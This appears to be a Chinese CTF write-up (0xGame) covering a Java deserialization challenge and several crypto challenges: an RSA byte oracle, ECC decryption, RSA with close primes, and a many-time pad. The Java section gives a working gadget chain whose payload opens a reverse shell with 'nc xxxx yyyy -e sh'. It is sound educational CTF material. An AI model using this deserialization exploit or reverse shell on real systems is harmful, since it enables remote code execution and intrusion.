import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy", tools);
        map2.put("zZ", tools);
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

直接看 HashTable 的 readObject()

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241733667.png

调用了 reconstitutionPut()

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241735650.png

这里的 hash 计算的是 key.hashCode(), 也就是说仅和 key 有关, 同时 index 也是由 hash 计算出来的, 并且只要 hash 相同 index 就相同

变量 e 就是通过计算出来的 index 来取出 HashTable 中已有的元素

我们的目标是进入到 e.key.equals(key) 这一步, 但由于逻辑运算符的短路特性, 必须要满足 e.hash == hash 才能执行后面的内容

cc7 的链子利用的是两个 HashMap, 并往里面放入特定的 key 和 value, 从而确保两个 HashMap 计算出来的 hashCode 是相同的

继续单步步入 e.key.equals(key), 由于 HashMap 没有实现 equals, 所以执行的是 AbstractMap 的 equals 方法

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241746458.png

e 就是上一步是 e.key, m 就是被传入 equals 方法中的 HashMap

value 是从 e 这个 HashMap 取出来的, 也就是 Tools 对象

题目源码中有 if (obj instanceof String) 这句, 限制了传入的参数必须是 String 类型, 如果直接照抄 cc7 的 payload, m.get(key) 的值就变成 null 了, 因为此时的 key 是 map1 的 key, 即 yy, 而 m 是 map2, 里面只有 zZ, 所以会返回 null

解决方法就是让 map1 map2 里面的 key value 都相等, 即同时往 map1 map2 中放入 yyzZ 这两个 key

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package com.ctf.game.Controller;

import com.ctf.game.Serialization;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ"); // add element
        map2.put("zZ",tools);
        map2.put("yy","yy"); // add element
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241758452.png

这样 m.get(key) 返回的就是 String 类型的 yy, 从而成功调用到 Tools.equals(), 最终弹出了计算器

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241800342.png

剩下的就是执行命令反弹 shell 然后查看 flag

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package com.ctf.game.Controller;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "nc xxxx yyyy -e sh");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ");
        map2.put("zZ",tools);
        map2.put("yy","yy");
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        System.out.println(Tools.base64Encode(Tools.serialize(ht)));
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241803012.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241804746.png

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import socketserver
from Crypto.Util.number import *
import os
import signal
import string
from random import *
from secret import _flag

banner = r"""                               
  ____        _          ___                 _      
 | __ ) _   _| |_ ___   / _ \ _ __ __ _  ___| | ___ 
 |  _ \| | | | __/ _ \ | | | | '__/ _` |/ __| |/ _ \
 | |_) | |_| | ||  __/ | |_| | | | (_| | (__| |  __/
 |____/ \__, |\__\___|  \___/|_|  \__,_|\___|_|\___|
        |___/                                       

"""
menu = r"""
MENU:
1.GetKey
2.Encrypt
3.Decrypt
4.Quit
"""


def GenerateRSAKey():
    n, phi = 1, 1
    for i in range(4):
        while True:
            p = getPrime(1000)
            if isPrime(p):
                break
        n *= p
        phi *= (p - 1)
    e = getPrime(randint(20, 24))
    d = inverse(e, phi)
    return n, e, d


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 9182
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def printf(self, msg, newline=True):
        if newline:
            msg += "\n"
        self.request.sendall(msg.encode())

    def scanf(self, prompt='> '):
        self.printf(prompt, newline=False)
        return self._recvall()

    def handle(self):
        signal.alarm(1200)
        self.printf(banner)
        n, e, d = GenerateRSAKey()
        flag = _flag
        flag = bytes_to_long(os.urandom(390) + b"          " + flag.encode() + b"          " + os.urandom(30))
        for ___ in range(1607087):
            self.printf(menu)
            try:
                op = int(self.scanf())
                if op == 1:
                    self.printf(f"n={n}")
                    self.printf(f"e={e}")
                    self.printf(f"c={pow(flag, e, n)}")
                elif op == 2:
                    m = int(self.scanf("Enter your plaintext in decimal format >"))
                    c = pow(m, e, n)
                    msg = long_to_bytes(c).hex()[-2:]
                    self.printf(f"The last byte of your Ciphertext is: {msg}")
                elif op == 3:
                    c = int(self.scanf("Enter your ciphertext in decimal format >"))
                    m = pow(c, d, n)
                    msg = long_to_bytes(m).hex()[-2:]
                    self.printf(f"The last byte of your Plaintext is: {msg}")
                else:
                    break
            except:
                self.printf("Wrong Input")
                break
        self.printf("Quitting...")


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10003
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print("Server at 0.0.0.0 port " + str(PORT))
    server.serve_forever()

参考文章

https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_chosen_plain_cipher/#rsa-byte-oracle

https://xz.aliyun.com/t/2446#toc-22

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# _*_ coding:utf-8 _*_
import gmpy2
from Crypto.Util.number import  bytes_to_long, long_to_bytes
from fractions import Fraction
import re
from pwn import *

p = remote('124.223.224.73',10003)

def getkey():
    p.recvuntil('> ')
    p.sendline(b'1')
    n = int(p.recvline().replace('n=',''))
    e = int(p.recvline().replace('e=',''))
    c = int(p.recvline().replace('c=',''))
    return n,e,c

def dec(data):
    p.recvuntil('> ')
    p.sendline(b'3')
    p.recvuntil('Enter your ciphertext in decimal format >')
    p.sendline(bytes(c))
    p.recvuntil('The last byte of your Plaintext is: ')
    num = bytes_to_long(p.recv(2).decode('hex'))
    return num

def recover_flag(flagcipher,n,e):
    submap = {}
    for i in range(0, 256):
        submap[-n * i % 256] = i
    cipher256 = pow(bytes_to_long(256), e, n)
    last_bytes = dec(flagcipher)
    L = Fraction(0, 1)
    R = Fraction(1, 1)
    for i in range(128):
        print i
        flagcipher = flagcipher * cipher256 % n
        b = dec(flagcipher)
        k = submap[b]
        L, R = L + (R - L) * Fraction(k, 256), L + (R - L) * Fraction(k + 1, 256)
    low = int(L * n)
    return long_to_bytes(low - low % 256 + last_bytes)

n,e,c = getkey()

print recover_flag(c,n,e)

用先知的脚本本地跑一直超时… 代码中 signal.alarm(1200) 限制了时间为 20 分钟

学长说这个脚本是 oracle, 题目是 bytes oracle, 但是 ctf-wiki 里的代码不会改呜呜呜

于是查了下 nc 服务器的 ip, 刚好是腾讯云上海机房, 然后自己的腾讯云 vps 恰好也在上海, 最后就扔到了 vps 上跑…

试了好几次终于卡着 19 分钟的时间成功了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261750848.png

flag 为 0xGame{RSA|Byte_0racle~~~}

task.sage

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from secret import msg
flag = b'0xGame{' + msg + b'}'
p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
x = bytes_to_long(msg[:8])
y = bytes_to_long(msg[8:])
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
E = EllipticCurve(GF(p),[a,b])
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)
m = E(x,y)
n = G.order()
k = randint(1,n)
K = k*G
r1 = randint(1, n)
r2 = randint(1, n)
c1 = m + r1 * K
c2 = r2 * G

print(k)
print(r1)
print(r2)
print(c1.xy())
print(c2.xy())

# 71945889038953341847263519104630318243817670767276069261230241683585545826661
# 17508017898353406319910889374706380553395041177439941992127017651621727142700
# 9635688439246373463146554181223462429254170330456300413235282298036335053171
# (50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
# (24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)

椭圆曲线加密, 刚开始以为是跟 RSA 一样考察相关攻击方法的, 后来发现只是最基本的加解密, 网上耐心搜一搜就能做出来

参考文章 https://www.cnblogs.com/lnjoy/p/ecc.html

p a b k r1 r2 G 都已知, 那么根据 c1 c2 这两个点就可以直接算出来点 m

参考文章中的解密代码 m = c1 - k * c2 其实就是对原来加密的表达式进行移项

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c1 = m + r * K
c2 = r * G
K = k * G

m 的推导如下

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m = c1 - r * K
  = c1 - r * k * G
  = c1 - k * c2

类似的, 由题目中加密的表达式可以很容易地推出 m 的值

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c1 = m + r1 * K
c2 = r2 * G
K = k * G

m = c1 - r1 * K
  = c1 - r1 * k * G

好像并没有用到 c2 这个点(?)

最终脚本如下

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p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
k = 71945889038953341847263519104630318243817670767276069261230241683585545826661
r1 = 17508017898353406319910889374706380553395041177439941992127017651621727142700
r2 = 9635688439246373463146554181223462429254170330456300413235282298036335053171

E = EllipticCurve(GF(p),[a,b])
c1 = E(50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
c2 = E(24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)

m = c1 - r1 * k * G
print(m)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261839391.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261840113.png

flag 为 0xGame{Ecc:have_fun!~~~}

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from Crypto.Util.number import *
from gmpy2 import next_prime
from random import getrandbits
from secret import flag

p = getStrongPrime(1024)
q = next_prime(p ^ ((1 << 1024) - 1) ^ getrandbits(16))
n = p * q
e = 65537

m = bytes_to_long(flag)
assert m < n
c = pow(m, e, n)

print(hex(n))
# 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1

print(hex(c))
# 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c

参考文章 https://blog.csdn.net/m0_62506844/article/details/124256746

题目几乎一样…. 但这题生成 q 的时候多了一个 getrandbits(16), 不过跑的时候发现并没有影响

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from Crypto.Util.number import *
import gmpy2

n = 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1
c = 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c
e = 65537
t1 = 1 << 1024
p = (2 ** 1024 + gmpy2.iroot((2 ** 1024) ** 2 - 4 * n,2)[0]) // 2
p = int(p)
while n % p != 0:
    p = gmpy2.next_prime(p)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

跑出来的结果为 0xGame{c3c7bca98ce4dc4cce797d8197597a40}

output.txt

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79166715050c08490316520d1c1c5450530d1b11451918
421567021f1c0b1d01004a1001175e5c1a0a5301160819
101934411e0d141b1a1b520d115e131301591207450c13
101925031f000d000f075a0c1b5255130159511717140d
441720130c1513000d53401a0606561151575335450e0f
4908330e0a171a19061a5043060b40081614531d164d1c
5e01670202080b1c1a164143060b4008161453000d0c09
1011291702090d0c1d5350110c024713140b12040d1453
102b3202054508101d07560e06525a1210150610004d1b
5f0a670803160f080010564f5513130f0a0a0711084d1b
5f0a671208060e1b0b53560f1011470e1c171a1745001c
59146716050c18014e1e5a041d0613151d1a1f0101085d
5d1d330902010849081c4143111b541507181f5416041a
5e1933141f0008454e10411a05065c1b0118031c0c0e5d
581934094d030e070d075a0c1b011f5c181c0a54080c13
511f220c080b0f491a16500b1b1b4209160a5f54040319
100b2841020b55ffffffffffffffffffffffffffffffff

参考文章 https://www.ruanx.net/many-time-pad/

直接用文章里给出的脚本, 注意要修正几个字符 (根据上下文来联想)

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import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('output.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)

know(1,10,'y')
know(1,6,'p')
know(4,1,'o')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

仔细看一下原文章里的脚本可以知道 know 的第一个参数指从零开始数的第几行, 第二个参数指某一行从零开始数的第几个字符

修正前

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210251140929.png

修正后

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210251143745.png

flag 为 0xGame{ins3cur3|system}